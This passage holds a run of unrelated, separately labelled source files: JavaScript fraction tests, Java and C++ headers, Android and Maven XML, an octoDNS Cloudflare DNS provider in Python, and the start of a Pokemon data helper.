    expect(a.equals(c)).toEqual(true);
  });

  it('has a less than method', () => {
    const a = new Fraction(4, 16);
    const b = new Fraction(1, 16);
    const c = new Fraction(1, 4);

    expect(a.lt(b)).toEqual(false);
    expect(b.lt(a)).toEqual(true);
    expect(a.lt(c)).toEqual(false);
  });

  it('has a less than or equals method', () => {
    const a = new Fraction(4, 16);
    const b = new Fraction(1, 16);
    const c = new Fraction(1, 4);

    expect(a.lte(b)).toEqual(false);
    expect(b.lte(a)).toEqual(true);
    expect(a.lte(c)).toEqual(true);
  });

  it('has a greater than method', () => {
    const a = new Fraction(4, 16);
    const b = new Fraction(1, 16);
    const c = new Fraction(1, 4);

    expect(a.gt(b)).toEqual(true);
    expect(b.gt(a)).toEqual(false);
    expect(a.gt(c)).toEqual(false);
  });

  it('has a greater than or equals method', () => {
    const a = new Fraction(4, 16);
    const b = new Fraction(1, 16);
    const c = new Fraction(1, 4);

    expect(a.gte(b)).toEqual(true);
    expect(b.gte(a)).toEqual(false);
    expect(a.gte(c)).toEqual(true);
  });
});


text:
package org.jetbrains.idea.maven.tasks.actions;

import org.jetbrains.idea.maven.tasks.MavenCompilerTask;
import org.jetbrains.idea.maven.tasks.MavenTasksManager;

import java.util.List;

public class ToggleAfterCompileTasksAction extends ToggleCompilerTasksAction {
  protected boolean hasTask(MavenTasksManager manager, MavenCompilerTask task) {
    return manager.isAfterCompileTask(task);
  }

  protected void addTasks(MavenTasksManager manager, List<MavenCompilerTask> tasks) {
    manager.addAfterCompileTasks(tasks);
  }

  protected void removeTasks(MavenTasksManager manager, List<MavenCompilerTask> tasks) {
    manager.removeAfterCompileTasks(tasks);
  }
}


text:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"

    tools:context="com.zhimei.weixiaoyuan.SuperMarketActivity">

    <RelativeLayout
        android:id="@+id/sup_one"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:padding="10dp"
        android:background="#5CACEE"
        >

        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="校园超市"
            android:layout_centerHorizontal="true"
            android:textColor="#FFFFFF"
            android:textSize="20sp"/>

    </RelativeLayout>

    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="match_parent"
        android:layout_height="40dp"
        android:orientation="vertical"
        android:id="@+id/sup_two"
        android:layout_below="@+id/sup_one">

        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="37dp"
            android:gravity="center_vertical"
            >

            <LinearLayout
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:gravity="center" >

                <TextView
                    android:id="@+id/tv1"
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:text="学习用品"
                    android:textColor="#339900"/>
            </LinearLayout>

            <LinearLayout
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:gravity="center" >

                <ImageView
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:src="@mipmap/shuxian"
                    />
            </LinearLayout>

            <LinearLayout
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:gravity="center" >

                <TextView
                    android:id="@+id/tv2"
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:text="生活用品"
                    android:textColor="@android:color/black"/>
            </LinearLayout>
            <LinearLayout
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:gravity="center" >

                <ImageView
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:src="@mipmap/shuxian"
                    />
            </LinearLayout>

            <LinearLayout
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:gravity="center" >

                <TextView
                    android:id="@+id/tv3"
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:text="零食饮料 "
                    android:textColor="@android:color/black"/>
            </LinearLayout>

        </LinearLayout>

        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="3dp" >

            <ImageView
                android:id="@+id/tabline"
                android:layout_width="50dp"
                android:layout_height="match_parent"
                android:background="@mipmap/line" />
        </LinearLayout>

    </LinearLayout>

    <android.support.v4.view.ViewPager
        android:id="@+id/viewpager"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_below="@id/sup_two"

        >

    </android.support.v4.view.ViewPager>

</RelativeLayout>


text:
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Revista Mus. La Plata, Secc. Bot. 3:48. 1940

#### Original name
null

### Remarks
null


text:
<?xml version="1.0" encoding="UTF-8"?>
    <!--

        Licensed to the Apache Software Foundation (ASF) under one or more
        contributor license agreements.  See the NOTICE file distributed with
        this work for additional information regarding copyright ownership.
        The ASF licenses this file to You under the Apache License, Version 2.0
        (the "License"); you may not use this file except in compliance with
        the License.  You may obtain a copy of the License at

           http://www.apache.org/licenses/LICENSE-2.0

        Unless required by applicable law or agreed to in writing, software
        distributed under the License is distributed on an "AS IS" BASIS,
        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
        See the License for the specific language governing permissions and
        limitations under the License.
    -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <modelVersion>4.0.0</modelVersion>
    <artifactId>mhus-examples</artifactId>
    <packaging>pom</packaging>
  <name>mhus-examples</name>
  <groupId>de.mhus.examples</groupId>
  <version>1.0.0-SNAPSHOT</version>

  <description>A set of examples using the mhus* project or showing interesting behavior</description>
  <url>http://www.mhus.de</url>

  <licenses>
    <license>
      <name>The Apache Software License, Version 2.0</name>
      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
      <distribution>repo</distribution>
    </license>
  </licenses>
  <scm>
    <url>https://github.com/mhus/mhus-osgi-tools</url>
    <connection>scm:git:https://github.com/mhus/mhus-examples/</connection>
  </scm>
  <developers>
    <developer>
      <id>mhu</id>
      <name>Mike Hummel</name>
      <email>mh@mhus.de</email>
      <url>http://www.mhus.de</url>
    </developer>
  </developers>
    <properties>
		<mhulib.version>3.3.3</mhulib.version>
  		<osgitools.version>1.3.4</osgitools.version>
  		<ports.version>1.3.4</ports.version>
  		<ports.vaadin.version>1.3.4</ports.vaadin.version>

	  	<quartz.version>2.2.1</quartz.version>
        <scr.packages>*</scr.packages>
        <felix.scr.version>1.6.0</felix.scr.version>
        <karaf.version>4.0.10</karaf.version>
        <karaf.tool.version>4.0.10</karaf.tool.version>
        <bndlib.version>1.50.0</bndlib.version>
        <felix.metatype.version>1.0.10</felix.metatype.version>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
		<compileSource>1.8</compileSource>
        <bundle.plugin.version>2.5.3</bundle.plugin.version>
        <osgi.version>5.0.0</osgi.version>
        <cxf.version>3.1.5</cxf.version>
		<vaadin.version>7.7.9</vaadin.version>
		<vaadin.plugin.version>${vaadin.version}</vaadin.plugin.version>
		<gwt.version>2.3.0</gwt.version>
		<gwt.plugin.version>2.2.0</gwt.plugin.version>
		<osgi.version>5.0.0</osgi.version>
		<jaxws.version>1.0-MR1</jaxws.version>
		<javax.mail.version>1.4.1</javax.mail.version>
		<javax.activation.version>1.1.1</javax.activation.version>
        <felix.version>4.2.4</felix.version>
        <felix.plugin.version>3.0.1</felix.plugin.version>
        <maven.version>2.0.9</maven.version>
		<dependency.jetty.version>8.1.14.v20131031</dependency.jetty.version>
		<pax.version>3.1.0</pax.version>
		<servlet.version>3.1.0</servlet.version>
      </properties>

    <modules>
    	<module>vaadin-addon-ports</module>
    	<module>mhus-osgi-examples</module>
    </modules>

   <build>
           <defaultGoal>install</defaultGoal>

    <plugins>

            <plugin>
                <groupId>de.mhus.ports.karaf.tooling</groupId>
                <artifactId>karaf-services-maven-plugin</artifactId>
                <configuration>
                	<artifactInclude>.*mhu.*</artifactInclude>
                </configuration>
            </plugin>

		<plugin>
		  <artifactId>maven-compiler-plugin</artifactId>
		  <version>3.0</version>
		  <configuration>
		    <source>${compileSource}</source>
		    <target>${compileSource}</target>
		  </configuration>
		</plugin>

        <plugin>
		  <artifactId>maven-assembly-plugin</artifactId>
		  <version>2.1</version>
		  <configuration>
		    <finalName>doc</finalName>
		    <descriptors>
		      <descriptor>descriptor.xml</descriptor>
		    </descriptors>
		  </configuration>
		</plugin>

		<plugin>
	      <groupId>org.apache.maven.plugins</groupId>
	      <artifactId>maven-javadoc-plugin</artifactId>
	      <configuration>
	      	<failOnError>false</failOnError>
	      </configuration>
	    </plugin>

    </plugins>

    	<pluginManagement>
			<plugins>
                <plugin>
                    <groupId>de.mhus.ports.karaf.tooling</groupId>
                    <artifactId>karaf-services-maven-plugin</artifactId>
                    <version>${karaf.tool.version}</version>
                    <executions>
                        <execution>
                            <id>service-metadata-generate</id>
                            <phase>process-classes</phase>
                            <goals>
                                <goal>service-metadata-generate</goal>
                            </goals>
			                <configuration>
			                	<artifactInclude>.*mhu.*</artifactInclude>
			                </configuration>
                        </execution>
                    </executions>
                </plugin>
			</plugins>
    	</pluginManagement>

  </build>

	<distributionManagement>

          <repository>
            <id>sonatype-nexus-staging</id>
            <name>Sonatype Nexus release repository</name>
            <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
          </repository>

	</distributionManagement>

        <profiles>
          <profile>
            <id>release-sign-artifacts</id>
            <activation>
              <property>
                <name>performRelease</name>
                <value>true</value>
              </property>
            </activation>
            <build>
              <plugins>
                <plugin>
                  <groupId>org.apache.maven.plugins</groupId>
                  <artifactId>maven-gpg-plugin</artifactId>
                  <version>1.4</version>
                  <configuration>
                    <passphrase>${gpg.passphrase}</passphrase>
                  </configuration>
                  <executions>
                    <execution>
                      <id>sign-artifacts</id>
                      <phase>verify</phase>
                      <goals>
                        <goal>sign</goal>
                      </goals>
                    </execution>
                  </executions>
                </plugin>
              </plugins>
            </build>
          </profile>

        </profiles>

	<dependencyManagement>
		<dependencies>
            <dependency>
                <groupId>org.apache.felix</groupId>
                <artifactId>maven-bundle-plugin</artifactId>
                <version>${felix.plugin.version}</version>
            </dependency>
            <dependency>
                <groupId>org.apache.maven</groupId>
                <artifactId>maven-plugin-api</artifactId>
                <version>${maven.version}</version>
            </dependency>
		</dependencies>
	</dependencyManagement>

</project>


text:
<?php

/**
 * Path settings.
 */
include_once('path.config');

/**
 * Route HTTP request.
 */
require_once(implode(DIRECTORY_SEPARATOR, array(ABLE_POLECAT_CORE, 'Host.php')));
AblePolecat_Host::routeRequest();


text:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
		<layout class="ch.qos.logback.classic.PatternLayout">
			<Pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</Pattern>
		</layout>
	</appender>
	<logger name="dk.bitmovers" level="TRACE" />
	<logger name="org" level="TRACE" />
	<root level="debug">
		<appender-ref ref="STDOUT" />
	</root>
</configuration>


text:
// Copyright 2021 Maintainers of NUKE.
// Distributed under the MIT License.
// https://github.com/nuke-build/nuke/blob/master/LICENSE

using System;
using System.Linq;
using JetBrains.Annotations;

namespace Nuke.Common.CI.AzurePipelines
{
    [PublicAPI]
    public enum AzurePipelinesCodeCoverageToolType
    {
        JaCoCo,
        Cobertura
    }
}


text:
#ifndef TENSORFLOW_COMPILER_XLA_SERVICE_CPU_CPU_PARALLELIZATION_PREPARATION_H_
#define TENSORFLOW_COMPILER_XLA_SERVICE_CPU_CPU_PARALLELIZATION_PREPARATION_H_

#include "tensorflow/compiler/xla/service/hlo_cost_analysis.h"
#include "tensorflow/compiler/xla/service/hlo_module.h"
#include "tensorflow/compiler/xla/service/hlo_pass_interface.h"

namespace xla {
namespace cpu {

// This pass prepares an HLO module for parallel execution by transforming
// subgraphs of the top-level computation into embedded computations which can
// be executed in parallel.
// TODO(b/29630486): Currently, it is limited to turning all instructions (which
// are not constants or parameters) in the entry computation into embedded
// computations.  However, it could make sense to coarsen the parallelization to
// improve cache locality.  Also, we will need to do something to intelligently
// handle While constructs.
class ParallelizationPreparation : public HloPassInterface {
 public:
  // 'max_parallelism': the maximum parallel task count per instruction.
  // 'shape_size': shape size function used by HloCostAnalysis during parallel
  //               task assignment.
  ParallelizationPreparation(
      const int64 max_parallelism,
      const HloCostAnalysis::ShapeSizeFunction& shape_size)
      : max_parallelism_(max_parallelism), shape_size_(shape_size) {}
  ~ParallelizationPreparation() override {}

  tensorflow::StringPiece name() const override {
    return "cpu-parallel-prepare";
  }

  // Run parallel preparation on the given computation. Returns whether the
  // computation was changed.
  StatusOr<bool> Run(HloModule* module) override;

 private:
  // Assigns parallel task partitions to conformant instructions in 'module'.
  // Returns true on success or error status otherwise.
  StatusOr<bool> RunParallelTaskAssignment(HloModule* module);

  // Returns the target parallel task count for 'instruction'.
  // Utilizes 'cost_analysis' if non-null.
  // Otherwise defaults to a simple HLO output size-based cost model.
  int64 GetTargetParallelTaskCount(const HloCostAnalysis* cost_analysis,
                                   HloInstruction* instruction);

  // Outlines 'instruction' from entry computation, if it had
  // been assigned parallel tasks in an earlier pass through the computation.
  // Returns true if 'instruction' was succesfully outlined, false otherwise.
  bool OutlineParallelizableInstruction(HloInstruction* instruction);

  // Returns true if 'instruction' can be outlined into the same sub-computation
  // with its single user (parallelizable instructions are not outlined with
  // each other). Returns false otherwise.
  bool CanOutlineWithUser(HloInstruction* instruction);

  // Returns true if 'instruction' (or the root of the sub-computation that
  // 'instruction' calls) has had parallel tasks assigned in earlier pass.
  // Returns false otherwise.
  bool AssignedParallelTasks(HloInstruction* instruction);

  const int64 max_parallelism_;
  const HloCostAnalysis::ShapeSizeFunction shape_size_;
};

}  // namespace cpu
}  // namespace xla

#endif  // TENSORFLOW_COMPILER_XLA_SERVICE_CPU_CPU_PARALLELIZATION_PREPARATION_H_


text:
//
// Copyright (c) 2004-2021 Jaroslaw Kowalski <jaak@jkowalski.net>, Kim Christensen, Julian Verdurmen
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
// * Redistributions of source code must retain the above copyright notice,
//   this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
//   this list of conditions and the following disclaimer in the documentation
//   and/or other materials provided with the distribution.
//
// * Neither the name of Jaroslaw Kowalski nor the names of its
//   contributors may be used to endorse or promote products derived from this
//   software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
//

namespace NLog.UnitTests.Targets.Wrappers
{
    using NLog.Targets;
    using NLog.Targets.Wrappers;
    using Xunit;

    public class GroupByTargetWrapperTests : NLogTestBase
	{
        [Fact]
        public void SimpleGroupByTest()
        {
            // Arrange
            var memoryTarget = new MemoryTarget("memory") { Layout = "${level}" };
            var groupByTarget = new GroupByTargetWrapper("groupby", memoryTarget, "${logger}");
            var bufferTarget = new BufferingTargetWrapper("buffer", groupByTarget);

            var logFactory = new LogFactory();
            var logConfig = new NLog.Config.LoggingConfiguration(logFactory);
            logConfig.AddRule(LogLevel.Info, LogLevel.Fatal, bufferTarget);
            logFactory.Configuration = logConfig;

            var logger1 = logFactory.GetLogger("Logger1");
            var logger2 = logFactory.GetLogger("Logger2");
            var logger3 = logFactory.GetLogger("Logger3");

            // Act
            logger1.Trace("Ignore Me");
            logger2.Warn("Special Warning");
            logger1.Debug("Hello world");
            logger1.Fatal("Catastropic Goodbye");
            logger2.Error("General Error");
            logFactory.Flush();
            groupByTarget.WriteAsyncLogEvent(LogEventInfo.Create(LogLevel.Info, logger1.Name, "Special Hello").WithContinuation((ex) => { }));

            // Assert
            Assert.Equal(4, memoryTarget.Logs.Count);
            Assert.Equal("Warn", memoryTarget.Logs[0]);
            Assert.Equal("Error", memoryTarget.Logs[1]);
            Assert.Equal("Fatal", memoryTarget.Logs[2]);
            Assert.Equal("Info", memoryTarget.Logs[3]);
        }
    }
}


text:
p + p { text-indent:2em; margin-top:-1.5em; }
.alt{color:#666;font-family:"Warnock Pro","Goudy Old Style","Palatino","Book Antiqua",Georgia,serif;font-size:1.2em;line-height:80%;font-style:italic;}
.dquo{margin-left:-.5em;}
p.incr,.incr p{font-size:10px;line-height:1.44em;margin-bottom:1.5em;}
.caps{font-variant:small-caps;letter-spacing:1px;text-transform:lowercase;font-size:1.2em;line-height:1%;font-weight:bold;}


text:
from __future__ import absolute_import, division, print_function, \
    unicode_literals

from collections import defaultdict
from logging import getLogger
from json import dumps
from requests import Session

from ..record import Record, Update
from .base import BaseProvider

class CloudflareError(Exception):
    def __init__(self, data):
        try:
            message = data['errors'][0]['message']
        except (IndexError, KeyError):
            message = 'Cloudflare error'
        super(CloudflareError, self).__init__(message)

class CloudflareAuthenticationError(CloudflareError):
    def __init__(self, data):
        CloudflareError.__init__(self, data)

class CloudflareProvider(BaseProvider):
    '''
    Cloudflare DNS provider

    cloudflare:
        class: octodns.provider.cloudflare.CloudflareProvider
        # Your Cloudflare account email address (required)
        email: dns-manager@example.com
        # The api key (required)
        token: foo
        # Import CDN enabled records as CNAME to {}.cdn.cloudflare.net. Records
        # ending at .cdn.cloudflare.net. will be ignored when this provider is
        # not used as the source and the cdn option is enabled.
        #
        # See: https://support.cloudflare.com/hc/en-us/articles/115000830351
        cdn: false
    '''
    SUPPORTS_GEO = False
    SUPPORTS = set(('ALIAS', 'A', 'AAAA', 'CAA', 'CNAME', 'MX', 'NS', 'SRV',
                    'SPF', 'TXT'))

    MIN_TTL = 120
    TIMEOUT = 15

    def __init__(self, id, email, token, cdn=False, *args, **kwargs):
        self.log = getLogger('CloudflareProvider[{}]'.format(id))
        self.log.debug('__init__: id=%s, email=%s, token=***, cdn=%s', id,
                       email, cdn)
        super(CloudflareProvider, self).__init__(id, *args, **kwargs)

        sess = Session()
        sess.headers.update({
            'X-Auth-Email': email,
            'X-Auth-Key': token,
        })
        self.cdn = cdn
        self._sess = sess

        self._zones = None
        self._zone_records = {}

    def _request(self, method, path, params=None, data=None):
        self.log.debug('_request: method=%s, path=%s', method, path)

        url = 'https://api.cloudflare.com/client/v4{}'.format(path)
        resp = self._sess.request(method, url, params=params, json=data,
                                  timeout=self.TIMEOUT)
        self.log.debug('_request:   status=%d', resp.status_code)
        if resp.status_code == 400:
            raise CloudflareError(resp.json())
        if resp.status_code == 403:
            raise CloudflareAuthenticationError(resp.json())

        resp.raise_for_status()
        return resp.json()

    @property
    def zones(self):
        if self._zones is None:
            page = 1
            zones = []
            while page:
                resp = self._request('GET', '/zones', params={'page': page})
                zones += resp['result']
                info = resp['result_info']
                if info['count'] > 0 and info['count'] == info['per_page']:
                    page += 1
                else:
                    page = None

            self._zones = {'{}.'.format(z['name']): z['id'] for z in zones}

        return self._zones

    def _data_for_cdn(self, name, _type, records):
        self.log.info('CDN rewrite for %s', records[0]['name'])
        _type = "CNAME"
        if name == "":
            _type = "ALIAS"

        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'value': '{}.cdn.cloudflare.net.'.format(records[0]['name']),
        }

    def _data_for_multiple(self, _type, records):
        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'values': [r['content'] for r in records],
        }

    _data_for_A = _data_for_multiple
    _data_for_AAAA = _data_for_multiple
    _data_for_SPF = _data_for_multiple

    def _data_for_TXT(self, _type, records):
        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'values': [r['content'].replace(';', '\;') for r in records],
        }

    def _data_for_CAA(self, _type, records):
        values = []
        for r in records:
            data = r['data']
            values.append(data)
        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'values': values,
        }

    def _data_for_CNAME(self, _type, records):
        only = records[0]
        return {
            'ttl': only['ttl'],
            'type': _type,
            'value': '{}.'.format(only['content'])
        }

    _data_for_ALIAS = _data_for_CNAME

    def _data_for_MX(self, _type, records):
        values = []
        for r in records:
            values.append({
                'preference': r['priority'],
                'exchange': '{}.'.format(r['content']),
            })
        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'values': values,
        }

    def _data_for_NS(self, _type, records):
        return {
            'ttl': records[0]['ttl'],
            'type': _type,
            'values': ['{}.'.format(r['content']) for r in records],
        }

    def _data_for_SRV(self, _type, records):
        values = []
        for r in records:
            values.append({
                'priority': r['data']['priority'],
                'weight': r['data']['weight'],
                'port': r['data']['port'],
                'target': '{}.'.format(r['data']['target']),
            })
        return {
            'type': _type,
            'ttl': records[0]['ttl'],
            'values': values
        }

    def zone_records(self, zone):
        if zone.name not in self._zone_records:
            zone_id = self.zones.get(zone.name, False)
            if not zone_id:
                return []

            records = []
            path = '/zones/{}/dns_records'.format(zone_id)
            page = 1
            while page:
                resp = self._request('GET', path, params={'page': page})
                records += resp['result']
                info = resp['result_info']
                if info['count'] > 0 and info['count'] == info['per_page']:
                    page += 1
                else:
                    page = None

            self._zone_records[zone.name] = records

        return self._zone_records[zone.name]

    def _record_for(self, zone, name, _type, records, lenient):
        # rewrite Cloudflare proxied records
        if self.cdn and records[0]['proxied']:
            data = self._data_for_cdn(name, _type, records)
        else:
            # Cloudflare supports ALIAS semantics with root CNAMEs
            if _type == 'CNAME' and name == '':
                _type = 'ALIAS'

            data_for = getattr(self, '_data_for_{}'.format(_type))
            data = data_for(_type, records)

        return Record.new(zone, name, data, source=self, lenient=lenient)

    def populate(self, zone, target=False, lenient=False):
        self.log.debug('populate: name=%s, target=%s, lenient=%s', zone.name,
                       target, lenient)

        exists = False
        before = len(zone.records)
        records = self.zone_records(zone)
        if records:
            exists = True
            values = defaultdict(lambda: defaultdict(list))
            for record in records:
                name = zone.hostname_from_fqdn(record['name'])
                _type = record['type']
                if _type in self.SUPPORTS:
                    values[name][record['type']].append(record)

            for name, types in values.items():
                for _type, records in types.items():
                    record = self._record_for(zone, name, _type, records,
                                              lenient)

                    # only one rewrite is needed for names where the proxy is
                    # enabled at multiple records with a different type but
                    # the same name
                    if (self.cdn and records[0]['proxied'] and
                       record in zone._records[name]):
                        self.log.info('CDN rewrite %s already in zone', name)
                        continue

                    zone.add_record(record)

        self.log.info('populate:   found %s records, exists=%s',
                      len(zone.records) - before, exists)
        return exists

    def _include_change(self, change):
        if isinstance(change, Update):
            existing = change.existing.data
            new = change.new.data
            new['ttl'] = max(self.MIN_TTL, new['ttl'])
            if new == existing:
                return False

        # If this is a record to enable Cloudflare CDN don't update as
        # we don't know the original values.
        if (change.record._type in ('ALIAS', 'CNAME') and
                change.record.value.endswith('.cdn.cloudflare.net.')):
            return False

        return True

    def _contents_for_multiple(self, record):
        for value in record.values:
            yield {'content': value}

    _contents_for_A = _contents_for_multiple
    _contents_for_AAAA = _contents_for_multiple
    _contents_for_NS = _contents_for_multiple
    _contents_for_SPF = _contents_for_multiple

    def _contents_for_CAA(self, record):
        for value in record.values:
            yield {
                'data': {
                    'flags': value.flags,
                    'tag': value.tag,
                    'value': value.value,
                }
            }

    def _contents_for_TXT(self, record):
        for value in record.values:
            yield {'content': value.replace('\;', ';')}

    def _contents_for_CNAME(self, record):
        yield {'content': record.value}

    def _contents_for_MX(self, record):
        for value in record.values:
            yield {
                'priority': value.preference,
                'content': value.exchange
            }

    def _contents_for_SRV(self, record):
        service, proto = record.name.split('.', 2)
        for value in record.values:
            yield {
                'data': {
                    'service': service,
                    'proto': proto,
                    'name': record.zone.name,
                    'priority': value.priority,
                    'weight': value.weight,
                    'port': value.port,
                    'target': value.target[:-1],
                }
            }

    def _gen_contents(self, record):
        name = record.fqdn[:-1]
        _type = record._type
        ttl = max(self.MIN_TTL, record.ttl)

        # Cloudflare supports ALIAS semantics with a root CNAME
        if _type == 'ALIAS':
            _type = 'CNAME'

        contents_for = getattr(self, '_contents_for_{}'.format(_type))
        for content in contents_for(record):
            content.update({
                'name': name,
                'type': _type,
                'ttl': ttl,
            })
            yield content

    def _apply_Create(self, change):
        new = change.new
        zone_id = self.zones[new.zone.name]
        path = '/zones/{}/dns_records'.format(zone_id)
        for content in self._gen_contents(new):
            self._request('POST', path, data=content)

    def _hash_content(self, content):
        # Some of the dicts are nested so this seems about as good as any
        # option we have for consistently hashing them (within a single run)
        return hash(dumps(content, sort_keys=True))

    def _apply_Update(self, change):

        # Ugh, this is pretty complicated and ugly, mainly due to the
        # sub-optimal API/semantics. Ideally we'd have a batch change API like
        # Route53's to make this 100% clean and safe without all this PITA, but
        # we don't so we'll have to work around that and manually do it as
        # safely as possible. Note this still isn't perfect as we don't/can't
        # practically take into account things like the different "types" of
        # CAA records so when we "swap" there may be brief periods where things
        # are invalid or even worse Cloudflare may update their validations to
        # prevent dups. I see no clean way around that short of making this
        # understand 100% of the details of each record type and develop an
        # individual/specific ordering of changes that prevents it. That'd
        # probably result in more code than this whole provider currently has
        # so... :-(

        existing_contents = {
            self._hash_content(c): c
            for c in self._gen_contents(change.existing)
        }
        new_contents = {
            self._hash_content(c): c
            for c in self._gen_contents(change.new)
        }

        # Find the things we need to add
        adds = []
        for k, content in new_contents.items():
            try:
                existing_contents.pop(k)
                self.log.debug('_apply_Update: leaving %s', content)
            except KeyError:
                adds.append(content)

        zone = change.new.zone
        zone_id = self.zones[zone.name]

        # Find things we need to remove
        hostname = zone.hostname_from_fqdn(change.new.fqdn[:-1])
        _type = change.new._type
        # OK, work through each record from the zone
        for record in self.zone_records(zone):
            name = zone.hostname_from_fqdn(record['name'])
            # Use the _record_for so that we include all of standard
            # conversion logic
            r = self._record_for(zone, name, record['type'], [record], True)
            if hostname == r.name and _type == r._type:

                # Round trip the single value through a record to contents flow
                # to get a consistent _gen_contents result that matches what
                # went in to new_contents
                content = self._gen_contents(r).next()

                # If the hash of that dict isn't in new this record isn't
                # needed
                if self._hash_content(content) not in new_contents:
                    rid = record['id']
                    path = '/zones/{}/dns_records/{}'.format(record['zone_id'],
                                                             rid)
                    try:
                        add_content = adds.pop(0)
                        self.log.debug('_apply_Update: swapping %s -> %s, %s',
                                       content, add_content, rid)
                        self._request('PUT', path, data=add_content)
                    except IndexError:
                        self.log.debug('_apply_Update: removing %s, %s',
                                       content, rid)
                        self._request('DELETE', path)

        # Any remaining adds just need to be created
        path = '/zones/{}/dns_records'.format(zone_id)
        for content in adds:
            self.log.debug('_apply_Update: adding %s', content)
            self._request('POST', path, data=content)

    def _apply_Delete(self, change):
        existing = change.existing
        existing_name = existing.fqdn[:-1]
        for record in self.zone_records(existing.zone):
            if existing_name == record['name'] and \
               existing._type == record['type']:
                path = '/zones/{}/dns_records/{}'.format(record['zone_id'],
                                                         record['id'])
                self._request('DELETE', path)

    def _apply(self, plan):
        desired = plan.desired
        changes = plan.changes
        self.log.debug('_apply: zone=%s, len(changes)=%d', desired.name,
                       len(changes))

        name = desired.name
        if name not in self.zones:
            self.log.debug('_apply:   no matching zone, creating')
            data = {
                'name': name[:-1],
                'jump_start': False,
            }
            resp = self._request('POST', '/zones', data=data)
            zone_id = resp['result']['id']
            self.zones[name] = zone_id
            self._zone_records[name] = {}

        for change in changes:
            class_name = change.__class__.__name__
            getattr(self, '_apply_{}'.format(class_name))(change)

        # clear the cache
        self._zone_records.pop(name, None)


text:
from enum import Enum
import json

class Status(Enum):
    """
    Status problem enumeration.
    """
    UNK = 0
    PSN = 1
    TOX = 2
    PAR = 3
    BRN = 4
    SLP = 5
    FRZ = 6

class Stats(Enum):
    """
    Pokemon stats
    """
    ATK = 'atk'
    DEF = 'def'
    SPA = 'spa'
    SPD = 'spd'
    SPE = 'spe'
    ACCURACY = 'accuracy'
    EVASION = 'evasion'

def infos_for_pokemon(pkm_name: str) -> dict:
    """
    Filtrate, regroup and translate data from json files.
    :param pkm_name: Pokemon's name
    :return: Dict. {types, possibleAbilities, baseStats, possibleMoves}
    """
    pkm_name = pkm_name.lower().replace('-', '').replace(' ', '').replace('%', '').replace('\'', '').replace('.', '')
    res = {
        "types": [],
        "possibleAbilities": [],
        "baseStats": {},
        "possibleMoves": []
    }
    with open('data/pokedex.json', encoding='utf8') as data_file:
        pokemon = json.load(data_file)[pkm_name]
    res["types"] = pokemon["types"]
    res["possibleAbilities"] = list(pokemon["abilities"].values())
    res["baseStats"] = pokemon["baseStats"]
    with open('data/formats-data.json', encoding='utf8') as data_file:
        try:
            pokemon_moves = json.load(data_file)[pkm_name]["randomBattleMoves"]
        except KeyError:
            pokemon_moves = []
    with open("data/moves.json", encoding='utf-8') as data_file:
        moves = json.load(data_file)
    for move in pokemon_moves:
        res["possibleMoves"].append(moves[move])
    return res

class Pokemon:
    """
    Pokemon class.
    Handle everything corresponding to it.
    """
    def __init__(self, name: str, condition: str, active: str, level: str):
        """
